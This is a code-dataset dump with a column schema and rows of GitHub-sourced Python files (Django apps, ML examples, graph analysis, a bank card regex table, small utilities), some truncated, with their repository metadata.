blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
220 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
257 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
3425b8c8ddf35688b63bf676318fca670772fb43
eb9f655206c43c12b497c667ba56a0d358b6bc3a
/python/testData/intentions/PyInvertIfConditionIntentionTest/generalElse_after.py
bacc624e28d8fa6434622dc25954bb227f670b97
[ "Apache-2.0" ]
permissive
JetBrains/intellij-community
2ed226e200ecc17c037dcddd4a006de56cd43941
05dbd4575d01a213f3f4d69aa4968473f2536142
refs/heads/master
2023-09-03T17:06:37.560889
2023-09-03T11:51:00
2023-09-03T12:12:27
2,489,216
16,288
6,635
Apache-2.0
2023-09-12T07:41:58
2011-09-30T13:33:05
null
UTF-8
Python
false
false
119
py
def func(): value = "not-none" if value is not None: print("Not none") else: print("None")
[ "intellij-monorepo-bot-no-reply@jetbrains.com" ]
intellij-monorepo-bot-no-reply@jetbrains.com
f4983221e3c040489f717f6791c1ed4a21e5aee6
80e7fabb18a540b59bef95f01b37dce6dc88b2b4
/Simple_Problems/Q1007_Minimum_Domino_Rotations_For_Equal_Row .py
052ae13d0a5f4d39426a558e5e7a9ccd33d2fee7
[]
no_license
sktzwhj/algorithms
d8fce1fd12e0f46aa0417e0f998892c2273f7950
4b51e66a98931d174ee636969dee30cf0f397b00
refs/heads/master
2021-06-05T17:27:49.383709
2020-01-09T09:05:07
2020-01-09T09:05:07
102,172,473
0
0
null
null
null
null
UTF-8
Python
false
false
785
py
from collections import defaultdict import numpy as np class Solution(object): def minDominoRotations(self, A, B): """ :type A: List[int] :type B: List[int] :rtype: int """ if len(A) != len(B): return -1 current_set = set([A[0], B[0]]) ...
[ "whj_nudt@foxmail.com" ]
whj_nudt@foxmail.com
3df86635d5cca4a8f8b3258f926bf6370229d819
779b53e90f975350747ed59086c4f0dddbe43883
/Importance.py
50e191c997f55a33b81e120c341ba39f985e0f4f
[]
no_license
Iorizy2/first
8f680977790ecd0201214bb13bd8183b4f26ee40
2002bda011f24c10e0721a10ec10abf34aa6ca28
refs/heads/master
2021-07-24T03:04:36.026640
2017-11-02T14:44:39
2017-11-02T14:44:39
105,010,056
0
0
null
null
null
null
UTF-8
Python
false
false
1,567
py
from igraph import * from math import * from time import * #g = Graph() start=clock() g = Graph.GRG(200,0.1) summary(g) n=g.vcount() m=4 x=[[0]*m for i in range(n)] temp=g.evcent() #决策矩阵p for i in range(n): x[i][0]=g.degree(i) x[i][1]=temp[i] x[i][2]=g.closeness(i) x[i][3]=g.betweenness(i) #print(x)...
[ "32098112+Iorizy2@users.noreply.github.com" ]
32098112+Iorizy2@users.noreply.github.com
f898fb937ae86ac19f7f7cd8f0c5689afb6c7897
81dce1d4687c0591c944037e78a1c119c57868b9
/PCA_scratch.py
dc7737d5fd0acb84bccb2bac51585c94239d0302
[]
no_license
RichardChangCA/Python-OpenCV-Practice
b7c0ea0abc50446612a7b6716c480b6fddc104c1
3db6323b814bcbcb6c01f14af0cf0c0370855e81
refs/heads/master
2021-07-20T20:48:35.570871
2020-05-24T23:31:01
2020-05-24T23:31:01
172,720,013
0
0
null
null
null
null
UTF-8
Python
false
false
1,172
py
# from : https://towardsdatascience.com/pca-explained-and-implemented-in-2-minutes-e024c832bb9cs from sklearn.datasets import load_iris import pandas as pd import numpy as np data =load_iris() X,y,column_names = data['data'],data['target'],data['feature_names'] X =pd.DataFrame(X,columns=column_names) # centering and ...
[ "zhanglingfeng@zhanglingfengdeMacBook-Pro.local" ]
zhanglingfeng@zhanglingfengdeMacBook-Pro.local
0460d410607c285a025d2fda3f1d5623d90f0788
e1ca17cf705095113928317cf52f9c33aa38ea04
/utility/quip_comp_continue.py
a239cd9105f89a704673d817048edcceb7a10362
[]
no_license
SBU-BMI/Composite-Dataset
29376eeb9e2b6055f5253c6dcbaa112da1d67dea
9564140ac2cbe5367c684de8aadd42415f8abdba
refs/heads/master
2021-01-16T00:35:48.050825
2018-10-10T14:50:00
2018-10-10T14:50:00
99,967,252
0
1
null
null
null
null
UTF-8
Python
false
false
8,193
py
from pymongo import MongoClient from shapely.geometry import LineString from shapely.geometry.polygon import LinearRing from shapely.geometry import Polygon from bson import json_util import numpy as np import time import pprint import json import csv import sys import os import shutil import concurrent.futures impor...
[ "noreply@github.com" ]
SBU-BMI.noreply@github.com
1eab0cdda2292b5f50d15e52a213d3dba64f4093
566bff6664705e19e4c12c8ca172b7fcfe7b10c9
/ssim.py
dcbe029ce5a2095e2715e00f50424ae56468150a
[]
no_license
aiff22/DPED
61a43cb2f76bea617af61e3d9ead00acf7ac430d
ebb01315238430f7c66eaaf84996fcb59877f97f
refs/heads/master
2022-01-03T07:22:27.023525
2021-12-17T13:59:15
2021-12-17T13:59:15
101,207,412
1,686
379
null
null
null
null
UTF-8
Python
false
false
2,641
py
import numpy as np from scipy import signal from scipy.ndimage.filters import convolve import tensorflow as tf def _FSpecialGauss(size, sigma): radius = size // 2 offset = 0.0 start, stop = -radius, radius + 1 if size % 2 == 0: offset = 0.5 stop -= 1 x, y = np.mg...
[ "ihnatova@student.ethz.ch" ]
ihnatova@student.ethz.ch
770b15a463d30ac2b7055814d531a95f8ea92808
4b28e34e326afdf0de4866f5c7c33eae9a9a314b
/Practice/ConvolutionLayerMNISTwithPrettyTensor.py
fb1df714fa7640dd1803f1d3a184d730ad0e7e88
[ "Apache-2.0" ]
permissive
karan23gupta/Summer-Training-Project
ce1a45bc82c2189a8b477fd6416f74e0e1a37a0a
177b568588e1d6e911b3a53bdaa0cd7d5441c313
refs/heads/master
2021-09-06T03:01:43.741308
2018-02-01T21:20:18
2018-02-01T21:20:18
119,895,093
0
0
null
null
null
null
UTF-8
Python
false
false
4,402
py
import matplotlib.pyplot as plt import tensorflow as tf import numpy as np import time from datetime import timedelta import math import prettytensor as pt from tensorflow.examples.tutorials.mnist import input_data data = input_data.read_data_sets('data/MNIST/',one_hot=True) data.test.cls = np.argmax(data.test.labels...
[ "karangupta12527@gmail.com" ]
karangupta12527@gmail.com
d02c61be8cdc05408782448bf94a37e26a143c5d
d8b74da63f9cc0e22240383b75bcaf8e0af674a4
/helpers/organizer.py
3afa4fff9be76400c00098d359aae5ff5f15eaf6
[]
no_license
ronan99/Organizer
e69098a3a4d3b5b0b7cb660410bbdeae03ccbf17
36cd5bdda7b3fb186b84c50579fa34f3c8cf163d
refs/heads/master
2023-09-05T22:03:05.908861
2021-11-20T08:38:07
2021-11-20T08:38:07
430,051,960
0
0
null
null
null
null
UTF-8
Python
false
false
949
py
import os, sys, time from pathlib import Path from .files import * import shutil from tqdm import tqdm # from .progress_bar import progressBar def organize_junk(dir): if(not os.path.isdir(dir)): return "Not a dir" i = 1 size = len(os.listdir(dir)) for entry in tqdm(os.scandir(dir)): t...
[ "ronan.lino99@gmail.com" ]
ronan.lino99@gmail.com
440a8ddacad94b5c6f4c06e7d203858eec3a6b1f
15feffbabf6d711c38a0eb7f446fa32fa0f8fa21
/home/migrations/0008_auto_20210407_0114.py
e6e6b9e76ab7d32d053378cc86b333b7829c6af4
[]
no_license
erdemaltu/Python-Django-RealEstateHomeBuyingAndSelling
0342526d4a3db4fde6efc2187bd024111c8ef699
110113d05fc3da9acdb43cc5227a398b2f988bc0
refs/heads/master
2023-05-31T10:28:56.861446
2021-07-02T09:21:16
2021-07-02T09:21:16
349,551,792
0
0
null
null
null
null
UTF-8
Python
false
false
452
py
# Generated by Django 3.1.7 on 2021-04-06 22:14 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('home', '0007_auto_20210407_0030'), ] operations = [ migrations.RemoveField( model_name='contactformmessage', name='address',...
[ "e-altug@hotmail.com" ]
e-altug@hotmail.com
a84c23e3ac2bad71e6046024c8f1e3abff7d11b8
ab60e13be23cf2962d0a10e1c575129c38a2746c
/src/attentive/__init__.py
8b07e27a24591ea524f557bf2e26108b0d38652c
[]
no_license
sthysel/attentive
1d83132b6dade8538063f67f3f69aa8c75e4bd18
3d4e53ba20e854307b6bb154985bd652fa1c4432
refs/heads/master
2021-01-20T03:57:21.238610
2017-09-08T05:15:43
2017-09-08T05:15:43
89,612,110
3
0
null
null
null
null
UTF-8
Python
false
false
53
py
from .attentive import * from .quit import quitevent
[ "sthysel@gmail.com" ]
sthysel@gmail.com
0370d28584720feafadc26ca4dc8a0978612b07f
54e08f00d129c9d6e2cd06f42a90945778785ee1
/ThievesRecognition/knife_detection.py
549a7e05967d534957d726862611244dffc4a2d4
[ "MIT" ]
permissive
sergioalberto/DeepLearningLab
8fc3a27fcca31c6b8d2877f323c5e6c4babaf40a
ac4f176f5e94dadee4465e2334b361b70e1d4ddc
refs/heads/master
2023-06-24T04:17:10.690318
2022-07-11T16:34:21
2022-07-11T16:34:21
164,376,441
1
1
MIT
2023-06-14T22:28:34
2019-01-07T04:04:40
null
UTF-8
Python
false
false
7,756
py
import os, sys, datetime, random import skimage.draw import numpy as np import matplotlib.pyplot as plt from matplotlib import patches, lines from skimage.measure import find_contours from matplotlib.patches import Polygon # Root directory of the project ROOT_DIR = os.path.abspath(".") sys.path.append(ROOT_DIR) # T...
[ "sgonzalez@zenoss.com" ]
sgonzalez@zenoss.com
9da46f329f3952018d200a3e7eb9a6593d3e21ca
aa7fc244d220f218c799158ed4076628911a85f9
/TERCERO/PSI/upload/forms.py
7ff3081104c19e2115994732eb3077a7713c8469
[]
no_license
Juanllamazares/informatica-uam
4bba8f33ad2c9c358801d74d6cc394a2418a7f62
9292b3824d2b748033eb5ef73f918e13d9ff5fba
refs/heads/master
2022-12-23T13:38:42.543604
2020-09-17T15:37:40
2020-09-17T15:37:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
637
py
from django import forms from data.models import WorkFlow, Category class UploadWorkflow(forms.ModelForm): name = forms.CharField(label = 'Name') category = forms.ModelMultipleChoiceField(label = 'Category', queryset = Category.objects.all(), required = False) keywords = forms.CharField(label = 'Keywords', max_len...
[ "tom3.hv23@gmail.com" ]
tom3.hv23@gmail.com
6eb5d6f21a0f8cb5ea2bf73c210ca1f46ca447bf
ce76b3ef70b885d7c354b6ddb8447d111548e0f1
/large_case.py
277a782fa6b80b12aba0b6d2cd3f37a72636cccd
[]
no_license
JingkaiTang/github-play
9bdca4115eee94a7b5e4ae9d3d6052514729ff21
51b550425a91a97480714fe9bc63cb5112f6f729
refs/heads/master
2021-01-20T20:18:21.249162
2016-08-19T07:20:12
2016-08-19T07:20:12
60,834,519
0
0
null
null
null
null
UTF-8
Python
false
false
232
py
#! /usr/bin/env python def problem_or_right_thing(str_arg): world(str_arg) print('number') def world(str_arg): print(str_arg) if __name__ == '__main__': problem_or_right_thing('see_same_problem_from_government')
[ "jingkaitang@gmail.com" ]
jingkaitang@gmail.com
7d8771b2852273169428bbe1116e9f713bf48d93
70f4171d3024d22de8686ffff5b4bfee9bffa4b0
/uri-online-judge/1051.py
2a36fa52704e0086ce3e77e864d5e93b4a47b732
[]
no_license
raquelsouto/python
1ea105a5a3844cf1827da10b4b74b8366cfed39c
dbafa504e83a20c8eb3ed453069b49d631a13d2c
refs/heads/master
2022-11-21T23:36:28.973184
2020-07-23T02:08:12
2020-07-23T02:10:01
281,823,427
0
0
null
null
null
null
UTF-8
Python
false
false
592
py
salario = float(input()) if salario > 0 and salario <= 2000: print('Isento') elif salario >= 2000.01 and salario <= 3000: valor1 = salario - 2000 imposto1 = (valor1 * 0.08) print('R$ %.2f' %imposto1) elif salario > 3000.01 and salario <= 4500: valor2 = salario - 2000 taxa2 = valor2 - 1000 ...
[ "kelsouto@gmail.com" ]
kelsouto@gmail.com
61c3dafe64239e02d32667643e92009192305061
773c9aa9520cba754de78a487c3f6a5994480231
/nla_semparse/nla_semparse/nla_metric.py
6dc60591b7a667ab61dca257f9a7a9c600ad0b3a
[ "MIT" ]
permissive
duanzhihua/allennlp-guide
a9ba1b012b2681fc8edef23c06d068b3f7a0e819
8bd90d1764ad6310145114fcaed48ea9ab986f4a
refs/heads/master
2023-08-21T23:58:41.577048
2021-10-22T22:26:52
2021-10-22T22:26:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,051
py
from typing import Dict, List, Optional from overrides import overrides from allennlp.training.metrics.metric import Metric from allennlp_semparse.domain_languages.domain_language import ExecutionError from .nla_language import NlaLanguage @Metric.register("nla_metric") class NlaMetric(Metric): """ Metric f...
[ "noreply@github.com" ]
duanzhihua.noreply@github.com
de56ab5f4911f618b84712042c2b719d95c06110
4fad219a13598dcb99dccc4651ddbc032f3ec2df
/randeom_park.spec
1f09d08bf4d6755fdd3eedb98a866130c1c7642f
[]
no_license
Feanor1992/random_park
0ecd1b01014a2471a9771305d962d0235b537fb0
86126a51a205c30aa92af51d1290d7178f4cc48f
refs/heads/main
2023-08-02T00:40:21.122526
2021-10-03T17:18:53
2021-10-03T17:18:53
406,098,121
0
0
null
null
null
null
UTF-8
Python
false
false
1,048
spec
# -*- mode: python ; coding: utf-8 -*- block_cipher = None a = Analysis(['randeom_park.py'], pathex=['F:\\Artem\\Data Science\\random_park'], binaries=[], datas=[], hiddenimports=[], hookspath=[], hooksconfig={}, runtime_hook...
[ "feanor1992@gmail.com" ]
feanor1992@gmail.com
50f67d2b8da211228e3524f48d533e48fb1471d2
bbec348efb79c6588a4cb6bb565c813fe3fe86ad
/pyVpx/tests/hbrServer.py
9c521e7a53bb553cdf059ed14d5ffd65b7efd55d
[]
no_license
free-Zen/pvc
2be60fdc0fd0345039219c802223f987fce3b113
8428a84481be319ae739dfbb87715f31810138d9
refs/heads/master
2022-02-24T12:13:31.599398
2019-10-14T07:49:13
2019-10-14T07:49:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
48,195
py
#!/usr/bin/python # # hbrServer.py # # Simple regression tests for the HBR server # # XXX Rename hbrsrvTestAlone.py? XXX something better than that? # # # To Use this script: # # (1) You must build the "vmodl-hbr-py-build" target. # (2) Use the vim/py/py.sh wrapper script to run this: # bora/vim/py/py.sh bora/vim...
[ "liuzhen@vmware.com" ]
liuzhen@vmware.com
b83dccd10f48a83085016bfd3c4bb439057ee36e
b39b09e4b12395c5b6001fc5ec25117bc4c2b33f
/accounts/migrations/0006_auto_20200804_1539.py
57c945be265d4761f36625318af686494c18905d
[]
no_license
Mohamed10994/Django-app
b390b84757c909a59798f20106db8fa57dc654fc
3baab92b2b08f6bd997c1963800abf3875826bf6
refs/heads/master
2022-11-27T05:12:24.593245
2020-08-10T16:36:13
2020-08-10T16:36:13
286,493,970
0
0
null
null
null
null
UTF-8
Python
false
false
415
py
# Generated by Django 3.1 on 2020-08-04 15:39 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('accounts', '0005_auto_20200804_0057'), ] operations = [ migrations.AlterField( model_name='product', name='description...
[ "mohamedmostafa17994@gmail.com" ]
mohamedmostafa17994@gmail.com
d72ed1334dba43fc67a0c2ebcff6696ef89f8c84
fdeac281d8f267b4326906cac8f1fe95f4af0ee4
/divbin.py
28e7ec95cbdaa1354932c48c01361eefb90717a5
[]
no_license
yxrose/bcfr
cd37b147c318742cb227d1c08a861a20bc4c8b9c
0280ca9a9487609ae408df6bc39f4e0829304694
refs/heads/master
2023-02-24T18:10:43.783115
2023-02-15T12:24:29
2023-02-15T12:24:29
182,046,695
12
6
null
null
null
null
UTF-8
Python
false
false
1,880
py
import pandas as pd import numpy as np def crsl(bin,cdat,fdn): lss=[] ms=pd.Series([np.nan]*len(fdn),index=fdn) for sam in cdat: ix=(sam.stt<=bin[0])&(sam.end>=bin[1]) if(ix.any()): sls=sam.loc[ix,fdn].squeeze() lss.append(sls) else: lss.append(m...
[ "noreply@github.com" ]
yxrose.noreply@github.com
f9899a02fbb389cfb24430cb2d5568571f7d1eee
53c91272444bfab92e7e89e0358047b27eab1125
/03.代码/豆瓣评论/scrapydouban/scrapydouban/main.py
14e98c156d8afabc0ee0c2f3618ec95177b648b0
[]
no_license
MrFiona/python_module_summary
2bbf9f30e0fbfe302e7e6c429754fa7bf4bfc411
4e36f6f5f6abed10fc06b16b0ed7c12cde7746d0
refs/heads/master
2021-01-20T03:54:38.105298
2019-01-07T07:28:36
2019-01-07T07:28:36
101,373,212
2
0
null
2018-04-15T05:56:45
2017-08-25T06:28:52
Jupyter Notebook
UTF-8
Python
false
false
231
py
#!/user/bin/python #-*- coding:utf-8 -*- ''' @author: 创客▪榕 @contact: chentianhao0510@126.com @file: main.py @time: 2017/5/15 15:01 ''' from scrapy import cmdline cmdline.execute('scrapy crawl DoubanBooksDetail'.split())
[ "1160177283@qq.com" ]
1160177283@qq.com
9344bb15b55230358dca9d9ffbf279968c1d1558
7d9ae6d73e567dcd3983370999f87202b42efac6
/HumanEmotionRecognitionPy/testing.py
eeaef13a260b2185b69b0e1c4164bfb745c6c996
[]
no_license
sendoggo/HumanEmotionsRecogPy
a2d873c361067469e0a31d35ef44ba6631e4191b
1ed407996944630dcb24a6dfcf98741ef51dcca3
refs/heads/main
2023-02-06T00:39:14.880978
2020-12-27T12:04:48
2020-12-27T12:04:48
324,746,462
0
0
null
null
null
null
UTF-8
Python
false
false
2,304
py
import cv2 import glob import random import numpy as np emotions = ["neutral", "anger", "contempt", "disgust", "fear", "happy", "sadness", "surprise"] #Emotion list fishface = cv2.createFisherFaceRecognizer() #Initialize fisher face classifier data = {} def get_files(emotion): #Define function to get file ...
[ "noreply@github.com" ]
sendoggo.noreply@github.com
95a6fd239a4a0467a1839ba2bd9e0c8e5ff51381
d31991e464835225abd17340b41b409d180ff639
/noetikon/files/managers.py
e2cf975193736189a24c10c04ed0e067db568a8b
[ "MIT" ]
permissive
webkom/noetikon
c6de7dd2c4cffc84ae4746561ac1da8019eda1f5
0fcede2d63a79b51bc29ea4b62d9cbc4ba993180
refs/heads/master
2021-01-16T23:57:31.425562
2016-09-12T18:20:37
2016-09-12T18:20:37
29,366,121
4
0
null
2017-03-01T14:51:59
2015-01-16T20:17:19
Python
UTF-8
Python
false
false
782
py
from basis.managers import PersistentModelManager from django.db.models import Q class DirectoryManager(PersistentModelManager): def permitted(self, user): if user.is_superuser: return self query = Q(id=-1) query |= Q(users_with_access=user) for group in user.groups.al...
[ "me@rolflekang.com" ]
me@rolflekang.com
9c3c5e25fe1a52b699bf838f3aef770ab02e3bc3
f26dc963b2a85d9997b449cef2abb8e66eda80b4
/app.py
7e68df78fa259edabbd6eaebf492b48bb1854bfc
[]
no_license
mikecolbert/businessanalytics.me
1635c64a69050f87135ebfb65d5bca2c5c47ea0f
d2ff1b8b58edf84c332fdf97616c15a07ab71bb3
refs/heads/main
2023-04-16T19:26:47.341777
2021-04-29T18:55:59
2021-04-29T18:55:59
362,910,532
0
0
null
null
null
null
UTF-8
Python
false
false
215
py
from flask import Flask, request, render_template app = Flask(__name__) @app.route('/', methods=['GET']) def index(): return render_template('index.html') if __name__ == "__main__": app.run(debug=True)
[ "mcolbert1@live.maryville.edu" ]
mcolbert1@live.maryville.edu
d0524ffbeb76c33460c74e5044af00eab4e4d8d4
1d23096f13aef1378faeb00d610be42ec8ba2a12
/zeroth/utils/onlyonce.py
789dadb33acffd9c98a776ab8df662f195e016ee
[ "MIT" ]
permissive
njvrzm/zeroth
c6c4502c6773b04086edfa22d95b58c9ba8630aa
26c000389403cd7e54dca7dfb9364b9fe50e161a
refs/heads/master
2022-12-18T23:49:19.751055
2018-01-14T22:43:53
2018-01-14T22:43:53
116,141,302
0
0
MIT
2020-06-17T21:42:44
2018-01-03T13:42:38
Jupyter Notebook
UTF-8
Python
false
false
282
py
from functools import wraps def onlyonce(fn): """Wraps a function to run once and return the same result thereafter.""" result = [] @wraps(fn) def doit(*a, **k): if not result: result.append(fn(*a, **k)) return result[0] return doit
[ "njvrzm@gmail.com" ]
njvrzm@gmail.com
d2c049e4b584b0d9ea9fe5ab855eaf54a61e1407
6de622e922361beac91e3cfc4cd67829451bc095
/wyzepal/integrations/irc/irc-mirror.py
3201a3ce7e0af7f254b1668150be83d0bdc59548
[]
no_license
WyzePal/api
fd1f1771aa9e1bfeb5d5de102b3f525d905fae29
8646c90148885b1c4286557bd62cfcf844b9d107
refs/heads/master
2020-03-23T15:25:53.559240
2019-03-08T23:54:00
2019-03-08T23:54:00
141,747,661
0
0
null
null
null
null
UTF-8
Python
false
false
1,885
py
#!/usr/bin/env python # # EXPERIMENTAL # IRC <=> WyzePal mirroring bot # # Setup: First, you need to install python-irc version 8.5.3 # (https://github.com/jaraco/irc) from __future__ import print_function import argparse import wyzepal import sys import traceback if False: from typing import Any, Dict usage = "...
[ "dannym@wyzepal.com" ]
dannym@wyzepal.com
815b2adb791ec629b2fa794c0b5dd51d44c86c89
c5420cee98aae008cb404ace7b8d21dcdf205a69
/backend/app/constants/bank_config_list.py
823cef03626c97aace26977fb26471be31ba3636
[]
no_license
LyanJin/check-pay
2aeb81f430a26410964e979b63d20c9d5aa7d46e
ff36deb73e667de16a73b1666bbeaf28f993f944
refs/heads/master
2023-01-14T03:38:00.907488
2019-11-04T09:29:27
2019-11-04T09:29:27
219,446,460
0
0
null
2023-01-04T16:14:10
2019-11-04T07:55:33
Python
UTF-8
Python
false
false
59,843
py
BANK_CONFIG_LIST = [ { "bankName": "中国邮政储蓄银行", "bankCode": "PSBC", "patterns": [ { "reg": r"/^(621096|621098|622150|622151|622181|622188|622199|955100|621095|620062|621285|621798|621799|621797|620529|621622|621599|621674|623218|623219)\d{13}$/g", "...
[ "aken.jin.33@gmail.com" ]
aken.jin.33@gmail.com
06ecc90d6f4e88b215eff06a9f8ca48a119641f8
844581a7a54cb9cf2bdb3073cd4953ba44f351e4
/tp2/tp2-deep_NN/miniNN.py
9e6044fe26d803aa6af95934a046d563663e3cf0
[]
no_license
amaltarghi/tp_deep_learning
f86a29db0d6f0af69c54e0743e0ddfae21ea57af
14d23f9af4071a77c82b9b2c25bb3b81c8aaeeb4
refs/heads/master
2020-06-15T00:58:21.803013
2017-01-27T13:59:00
2017-01-27T13:59:00
75,184,494
0
0
null
null
null
null
UTF-8
Python
false
false
3,989
py
""" MiniNN - Minimal Neural Network This code is a straigthforward and minimal implementation of a multi-layer neural network for training on MNIST dataset. It is mainly intended for educational and prototyping purpuses. """ __author__ = "Gaetan Marceau Caron (gaetan.marceau-caron@inria.fr)" __copyright__ = "Copyrigh...
[ "targhiamal@gmail.com" ]
targhiamal@gmail.com
304598e5e382fad84021f4a95d5a395b957a4456
88b78eb8385f30b1ccfd7c57dedd6441305c7d12
/python_callable_func.py
1f56ce51576b7be5115cc9baf6491137e4247df5
[]
no_license
tvocoder/learning_python
cb9faddf45881b0cd9ac26c9e5df19df3a0de34b
401980c856900b625373a9c883957d6488b4f501
refs/heads/master
2022-12-05T09:26:06.581416
2020-08-26T18:55:06
2020-08-26T18:55:06
289,073,661
0
0
null
null
null
null
UTF-8
Python
false
false
2,317
py
print("---= Callables Operators =---") print("-- *(tuple packing) --") # Description: Packs the consecutive function positional arguments into a tuple. # Syntax: def function(*tuple): # -- tuple: A tuple object used for storing the passed in arguments. # All the arguments can be accessed within the function body the s...
[ "42848470+tvocoder@users.noreply.github.com" ]
42848470+tvocoder@users.noreply.github.com
d3a121fca276e1c24ca96cb517a01a0a8faf1b75
633b695a03e789f6aa644c7bec7280367a9252a8
/samplepy/6-03_student_card.py
123c709227e82e443dfc704cb4af4d119033367a
[]
no_license
tnakaicode/PlotGallery
3d831d3245a4a51e87f48bd2053b5ef82cf66b87
5c01e5d6e2425dbd17593cb5ecc973982f491732
refs/heads/master
2023-08-16T22:54:38.416509
2023-08-03T04:23:21
2023-08-03T04:23:21
238,610,688
5
2
null
null
null
null
UTF-8
Python
false
false
263
py
class StudentCard: def __init__(self): print('初期化メソッド内の処理です') self.id = 0 self.name = '未定' a = StudentCard() b = StudentCard() print(f'a.id:{a.id}, a.name:{a.name}') print(f'b.id:{b.id}, b.name:{b.name}')
[ "tnakaicode@gmail.com" ]
tnakaicode@gmail.com
c82d7fe7d81d9549ba5139768d173c9cd11899a2
a99e86146150aae97cd36311c3a90d95c272125a
/config.py
d36f3783d1440ab2f467cb67b9645c96fa0176eb
[]
no_license
mutaihillary/userapp
017ac68124e72b559ddb5a1e81f60fd0006ffb30
0da93766967c37e7c203e995765321eecdd3ac7e
refs/heads/master
2021-01-19T01:05:43.369086
2016-08-19T05:45:40
2016-08-19T05:45:40
65,550,146
0
0
null
null
null
null
UTF-8
Python
false
false
363
py
from flask_sqlalchemy import SQLAlchemy from flask import Flask import os basedir = os.path.abspath(os.path.dirname(__file__)) app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] ='sqlite:///' + os.path.join(basedir, 'userapp.db') app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True app.config['SQLALCHEMY_COMMI...
[ "mutaihillary@yahoo.com" ]
mutaihillary@yahoo.com
e00a10c2d6bec1ad12527286192b6905d5c165f9
9c3365a48820ed380de9f8a7a099aef22516b6fd
/general/views.py
27d471d67a69669f25647407f7f7f1b909df93f2
[]
no_license
leoscalco/gca
e09b3d9d8432d1c4491f9110acc33bcf2f90e5d8
7592b9fd10033039978578eaa9cf4aee8ece5920
refs/heads/master
2021-01-01T05:14:33.171180
2016-05-02T18:59:10
2016-05-02T18:59:10
57,908,501
0
0
null
null
null
null
UTF-8
Python
false
false
1,105
py
from django.shortcuts import render from django.http import HttpResponseRedirect from gestao.models import * from django.views import generic # Create your views here. def index(request): context = '' news = New.objects.all().order_by('-post_date')[:10] context = {'news':news} return render(request, 'g...
[ "leoscalco@MacBook-Pro-de-Leonardo.local" ]
leoscalco@MacBook-Pro-de-Leonardo.local
8449ce1d59f6ee07799731026b6624f845beb714
52a9feebc66938e5317a0b39cd2f316cc1a85d5e
/test2.py
2cb94b72fd266d13a53e590ad2f10c676c13be90
[]
no_license
williamwu1234567890/20170505
c3c323b4c83797e2a65cdca08ce8be584397cc93
9e07952bced70582424f8ba8b9034778be8ccb60
refs/heads/master
2021-01-20T10:21:11.530957
2017-06-28T04:47:30
2017-06-28T04:47:30
90,347,918
0
0
null
null
null
null
UTF-8
Python
false
false
33
py
b =10 c=2 c=b d=1000 #wwwwwwwwww
[ "wulei_xz@126.com" ]
wulei_xz@126.com
90a48b4d3d91f34e6401d52f81b2887165da1394
e4532eb380fd684e2a658442279239793c39ae5f
/sc2/helpers/__init__.py
d8ba937712567184137e877c5d8e764dd15a1a05
[]
no_license
deltaori0/NCF2020
6225e9b0e60c31111012e63888e25c79121c53ed
34d99c01c3bcc21b7983bcf7f46277f2ff9d8093
refs/heads/master
2023-04-07T07:24:22.547241
2021-01-31T14:49:46
2021-01-31T14:49:46
357,296,029
1
0
null
null
null
null
UTF-8
Python
false
false
360
py
from pathlib import Path from .control_group import ControlGroup def is_submodule(path): if path.is_file(): return path.suffix == ".py" and path.stem != "__init__" elif path.is_dir(): return (path / "__init__.py").exists() return False __all__ = [p.stem for p in Path(__file__...
[ "rex8312@gmail.com" ]
rex8312@gmail.com
5d7d5330db3ed066c882a1af3fa60bd932cb33d0
dcd030f0f8c49592a19deb903fa4afb9e370033b
/node_modules/grpc/build/config.gypi
977b759c71cfe812f2a87e6e6b5fae158514c220
[ "Apache-2.0" ]
permissive
IswaryaChoday/seafood-market
31e52ec55813df6303bcc8876f1ace519717788c
44cc756e6f62cd0551a1aafcf8f3c49a4752bf58
refs/heads/master
2022-12-08T13:46:07.356829
2020-09-04T15:38:56
2020-09-04T15:38:56
269,240,697
0
0
null
null
null
null
UTF-8
Python
false
false
6,132
gypi
# Do not edit. File was generated by node-gyp's "configure" step { "target_defaults": { "cflags": [], "default_configuration": "Release", "defines": [], "include_dirs": [], "libraries": [] }, "variables": { "asan": 0, "build_v8_with_gn": "false", "coverage": "false", "dcheck_al...
[ "ishwarya.bolla96@gmail.com" ]
ishwarya.bolla96@gmail.com
ceb7045f045495b1369a753a9c13c61dab7b9581
3a92716a96c0d33adff065223a0df10d2cbc2c7c
/Person/models.py
99e0dab0ec1144bd12b8324738cd33e4c469013d
[]
no_license
cjmcfaul/workorder
328d84df4a584d185f24719636f2df38ccd46523
7451b07faa641409bfb79e9c17034522354380f2
refs/heads/master
2021-06-17T18:20:37.820388
2017-06-01T15:07:06
2017-06-01T15:07:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,318
py
from __future__ import unicode_literals from django.db import models # Create your models here. class Vendor(models.Model): TYPE = ( ("E","Exterminator"), ("P","Plumber"), ("Z","Electrician"), ("G","General Contractor"), ("H","Handy Man"), ) name = models.CharFiel...
[ "colinjmcfaul@gmail.com" ]
colinjmcfaul@gmail.com
d074e2f1226b84ae304ef819bb530d14d42e76af
5818b16be6c69e9e77ac217fb1f61592b7e286a7
/alarm.py
c05b5dbf29f6b142868bec0b1711010871fc4cfd
[]
no_license
suvansinha/Date-and-time
77748a7a0b9f56616e2647e9b8cf0ce25929a634
33d18ba0115e05b17cdfcc51ec6eff9ab1e4dac5
refs/heads/main
2022-12-30T01:45:07.872898
2020-10-17T12:39:06
2020-10-17T12:39:06
301,742,522
2
0
null
null
null
null
UTF-8
Python
false
false
986
py
